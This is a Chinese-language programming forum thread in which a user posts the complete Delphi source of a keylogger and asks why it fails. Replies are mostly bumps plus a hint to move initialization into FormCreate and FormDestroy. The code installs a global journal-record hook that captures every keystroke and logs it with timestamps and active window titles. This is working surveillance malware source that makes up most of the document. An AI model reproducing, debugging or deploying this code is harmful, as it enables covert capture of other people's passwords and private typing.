帮我看一下那里出错了，运行后达不到想要的效果！(50分)

帮我看一下那里出错了，运行后达不到想要的效果！
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

const
KeyMask = $80000000;

var
LogHook: HHook = 0;
LastFocusWnd: HWnd = 0;
hookkey:String;
HookList: TStringList;

function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
ch: Char;
vKey: Integer;
FocusWnd: HWND;
Title: array[0..255] of Char;
str: array[0..12] of Char;
TempStr, Time: string;
LogFile: TextFile;
PEvt: ^EVENTMSG;
iCapital, iNumLock, iShift: Integer;
bShift, bCapital, bNumLock: Boolean;
begin
if iCode < 0 then
begin
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
exit;
end;
if (iCode = HC_ACTION) then
begin
pEvt := Pointer(DWord(lParam));

FocusWnd := GetActiveWindow;
if LastFocusWnd <> FocusWnd then
begin
if hookkey<>'' then
begin
HookList.Add(hookkey);
hookkey :='';
end;
HookList.Add('---------End----------');
HookList.Add('--------begin---------');
GetWindowText(FocusWnd, Title, 256);
LastFocusWnd := FocusWnd;
Time := DateTimeToStr(Now);
HookList.Add(Time + Format('Title:%s', [Title]));
end;

if pEvt.message = WM_KEYDOWN then
begin
vKey := LOBYTE(pEvt.paramL);
iShift := GetKeyState($10);
iCapital := GetKeyState($14);
iNumLock := GetKeyState($90);
bShift := ((iShift and KeyMask) = KeyMask);
bCapital := ((iCapital and 1) = 1);
bNumLock := ((iNumLock and 1) = 1);

//HookList.Add('这是vKey:'+inttostr(vKey));

if ((vKey >= 48) and (vKey <= 57)) then
begin
if not bShift then
begin
ch := Char(vKey);
end else begin
case vKey of
48: ch := ')';
49: ch := '!';
50: ch := '@';
51: ch := '#';
52: ch := '$';
53: ch := '%';
54: ch := '^';
55: ch := '&';
56: ch := '*';
57: ch := '(';
end;
end;
hookkey:=hookkey+ch;
end;
if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
begin
if not bCapital then
begin
if bShift then
ch := Char(vKey)
else
ch := Char(vKey + 32);
end
else begin
if bShift then
ch := Char(vKey + 32)
else
ch := Char(vKey);
end;
hookkey:=hookkey+ch;
end;
if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
if bNumLock then
hookkey:=hookkey+Char(vKey - 96 + 48);
ch:='n';
if (VKey > 105) and (VKey <= 111) then
begin
case vKey of
106: ch := '*';
107: ch := '+';
109: ch := '-';
111: ch := '/';
else
ch := 'n';
end;
end;
if (vKey >= 186) and (vKey <= 222) then // 其他键
begin
case vKey of
186: if not bShift then ch := ';' else ch := ':';
187: if not bShift then ch := '=' else ch := '+';
188: if not bShift then ch := ',' else ch := '<';
189: if not bShift then ch := '-' else ch := '_';
190: if not bShift then ch := '.' else ch := '>';
191: if not bShift then ch := '/' else ch := '?';
192: if not bShift then ch := '`' else ch := '~';
219: if not bShift then ch := '[' else ch := '{';
220: if not bShift then ch := '/' else ch := '|';
221: if not bShift then ch := ']' else ch := '}';
222: if not bShift then ch := Char(27) else ch := '"';
else
ch := 'n';
end;
end;
if ch <> 'n' then
hookkey:=hookkey+ ch;

// if (wParam >=112 && wParam<=123) // 功能键 [F1]-[F12]
if (vKey >= 8) and (vKey <= 46) then //方向键
begin
ch := ' ';
case vKey of
8: str := '[退格]';
9: str := '[TAB]';
13: str := '[Enter]';
32: str := '[空格]';
33: str := '[PageUp]';
34: str := '[PageDown]';
35: str := '[End]';
36: str := '[Home]';
37: str := '[LF]';
38: str := '[UF]';
39: str := '[RF]';
40: str := '[DF]';
45: str := '[Insert]';
46: str := '[Delete]';
else
ch := 'n';
end;
if ch <> 'n' then
begin
//if PrvChar<>Char(vKey) then
//begin
hookkey :=hookkey+str;
// PrvChar := Char(vKey);
//end;
end;
end;
end ;
{ else
if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then
begin
if hookkey<>'' then
begin
HookList.add(Hookkey);
hookkey:='';
end;
if pEvt.message = WM_LBUTTONDOWN then
TempStr := '鼠标左键: '
else
TempStr := '鼠标右键: ';
HookList.Add(TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));
end;
//CloseFile(LogFile); }
end;
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;


procedure TForm1.Button1Click(Sender: TObject);
begin
if LogHook = 0 then
begin
Button1.Enabled:=false; //启动键盘记录成功!查看记录前请先终止键盘记录!
LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);
end else begin
Button1.Enabled:=true; //键盘记录已经启动过了!
end;
Exit;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
try
if LogHook <> 0 then
begin
UnhookWindowsHookEx(LogHook);
LogHook := 0;
HookList.Add(Hookkey);
HookList.Add('*********End**********');
Hookkey:='';
end;
except
end;
Button1.Enabled:=true; //终止键盘记录成功!
Exit;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
Memo1.Lines.Text:=HookList.Text;
end;

end.

太长了没时间看,进来了就帮你顶一下

我怎样才能写出这么厉害的程序呢!!板凳再顶一下

呵呵，在网吧上网，
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);

全在这两个里面写的，刚好对应单元的 InitXXXX 和FinXXXX 不好意思，把名字忘了